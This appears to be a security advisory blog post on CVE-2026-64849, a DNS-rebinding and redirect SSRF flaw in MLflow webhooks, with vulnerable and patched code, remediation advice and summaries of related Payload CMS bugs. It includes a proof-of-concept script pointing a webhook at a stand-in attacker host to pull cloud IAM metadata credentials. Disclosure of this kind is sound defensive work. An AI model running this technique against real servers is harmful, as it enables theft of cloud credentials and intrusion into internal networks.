Aug 18, 2026·5 min read·275 visits
A Time-of-Check to Time-of-Use (TOCTOU) vulnerability in MLflow webhooks allows unauthenticated remote attackers to bypass IP constraints and extract sensitive local or cloud metadata credentials.
CVE-2026-64849 is a critical Server-Side Request Forgery (SSRF) vulnerability affecting MLflow tracking servers prior to version 3.15.0. It allows unauthenticated remote attackers to bypass outbound request destination filters using DNS rebinding or HTTP redirects. This exposure risks compromising sensitive cloud infrastructure metadata and internal microservices.
The MLflow tracking platform supports the registration of outbound webhooks to transmit event notifications to external web services. To secure these outbound requests from Server-Side Request Forgery, MLflow attempts to validate that destination endpoints resolve to public IP addresses.
Prior to version 3.15.0, the validation routine and the connection establishment phase were completely decoupled. This implementation allows unauthenticated remote users to interact with the testing endpoint located at '/api/2.0/mlflow/webhooks/{id}/test' and direct requests into internal systems.
This vulnerability is tracked as CVE-2026-64849. The bug class represents a significant boundary crossing from the public-facing MLflow service to the underlying internal network or cloud management plane.
The core weakness of this vulnerability is a Time-of-Check to Time-of-Use (TOCTOU) flaw. The validation function '_validate_webhook_url' in 'mlflow/utils/validation.py' performs a DNS resolution lookup and checks if the retrieved IP addresses are public.
After validation passes, the application discards the resolved IP coordinates and forwards the raw hostname URL to the Python 'requests' library. The connection manager subsequently conducts a second, independent DNS query during socket establishment, creating a window for exploitation.
Attackers can leverage a custom DNS server to respond with a public IP during validation and a local loopback or cloud link-local address during the subsequent connection. Furthermore, the client follows HTTP redirect headers natively, allowing remote web servers to redirect the validation-cleared connection directly to internal interfaces.
The following diagram outlines the structural vulnerability flow within the webhook testing routine, demonstrating how the DNS rebinding is achieved across separate resolution queries:
The vulnerability is addressed by intercepting connection attempts at the socket level. The patch introduces a specialized 'SSRFProtectedHTTPAdapter' that validates the socket peer address post-connection but pre-handshake.
# Vulnerable path in mlflow/webhooks/delivery.py
def _send_webhook_request(webhook, payload, event, session):
_validate_webhook_url(webhook.url) # Validation occurs here
# The hostname is re-resolved inside the POST session
return session.post(webhook.url, data=payload_bytes)# Patched socket verification in mlflow/webhooks/ssrf.py
def _assert_public_peer(sock: socket.socket) -> None:
if _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get():
return
try:
peer_ip = sock.getpeername()[0]
ip = ipaddress.ip_address(peer_ip)
except Exception as e:
sock.close()
raise SSRFProtectionError(f"Failed connection check: {e}")
if not ip.is_global:
sock.close() # Terminate TCP connection immediately
raise SSRFProtectionError("Connection blocked: private destination")Additionally, setting 'session.trust_env = False' within the patched session configuration blocks proxy environmental variables. This prevents attackers from routing requests through local proxies that could circumvent local address filters.
To execute the attack, an adversary configures an authoritative DNS server with a low Time-To-Live setting. The server resolves to a public address on the first request to pass MLflow checks, then changes its target to an internal host for the subsequent request.
Alternatively, an attacker can trigger the endpoint using a public redirection server. The redirection server sends a 301 response pointing to loopback addresses, which forces the 'requests' library to follow the path without repeating validation.
The following proof-of-concept script shows how the tracking client can trigger the vulnerability:
# Technical Proof-of-Concept
import mlflow
from mlflow.tracking import MlflowClient
target_uri = "http://vulnerable-mlflow.company.local:5000"
mlflow.set_tracking_uri(target_uri)
client = MlflowClient()
# Webhook target configured for DNS rebinding
target_ssrf_url = "http://rebind.attacker.com/latest/meta-data/iam/security-credentials/mlflow-role"
# Register webhook endpoint
webhook = client.create_webhook(
name="ssrf-poc-exploit",
url=target_ssrf_url,
events=["registered_model.created"]
)
try:
# Trigger testing mechanism
test_result = client.test_webhook(id=webhook.id)
print("Status:", test_result.response_status)
print("Data:", test_result.response_body)
except Exception as e:
print("Exploit run failed:", e)The potential consequences of CVE-2026-64849 are critical for organizations utilizing cloud-hosted MLflow services. Outbound requests can target local cloud metadata services to acquire highly privileged administrative credentials.
In an AWS environment, the IAM roles associated with the underlying EC2 instance or Kubernetes node can be compromised. This allows attackers to access remote databases, configurations, and administrative tools integrated within the platform's subnet.
The CVSS v3.1 score of 9.3 reflects the unauthenticated nature of the request, low attack complexity, and high confidentiality impact. Because this vulnerability allows communication across distinct network security zones, the Scope metric is assessed as Changed.
Remediation requires upgrading MLflow to version 3.15.0 or later to install the socket peer validation logic. This patch ensures that all target IP addresses are validated at the socket creation level regardless of DNS variations or redirects.
If upgrading cannot be performed immediately, outbound network controls should be enforced. Organizations can configure host firewalls to block all egress traffic to link-local ranges and local network endpoints from the MLflow user profile.
Deploying the MLflow Tracking Server behind a secure reverse proxy that enforces user authentication prevents unauthenticated remote attackers from reaching the webhook test API. Restricting local environment proxy variables also mitigates redirection bypasses.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
MLflow mlflow | < 3.15.0 | 3.15.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-918 |
| Attack Vector | Network |
| CVSS v3.1 Score | 9.3 |
| Vulnerability Type | Server-Side Request Forgery (SSRF) |
| Exploit Status | poc |
| CISA KEV Status | Not Listed |
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
An open redirect vulnerability exists in Payload CMS within its Next.js-based authentication routing components. The sanitization utility fails to properly account for control characters and ambiguous encodings, allowing unauthenticated attackers to redirect users to external malicious domains after successful authentication.
A critical SQL Injection and access control bypass vulnerability was identified in Payload CMS database adapters (SQLite and PostgreSQL using Drizzle ORM internally). The vulnerability arises from case-sensitive logical operator checks during path validation and unvalidated sort queries. This allows remote attackers to bypass access control rules, execute unauthorized queries, and retrieve sensitive data through blind SQL injection side channels.
A critical prototype pollution vulnerability in the import-export plugin of Payload CMS allows unauthenticated remote attackers to bypass access controls and achieve remote code execution.
CVE-2026-105806 is an improper access control vulnerability within the Model Context Protocol (MCP) plugin for Payload CMS. Authenticated users with low privileges can manipulate API key creation and mapping to associate keys with arbitrary users, including administrators. This allows total session takeovers and privilege escalation via MCP-authenticated API requests.
An access control vulnerability in `@payloadcms/plugin-stripe` allows authenticated low-privilege users to bypass authorization boundaries and execute arbitrary, highly privileged operations on the connected Stripe platform via an exposed REST proxy.
A critical access control bypass vulnerability (CVE-2026-105851) in Payload CMS allows authenticated users to bypass field-level access controls during document duplication. By duplicating high-privilege documents, such as administrator accounts, standard users can inherit sensitive fields (e.g., role configurations or API keys), leading to privilege escalation.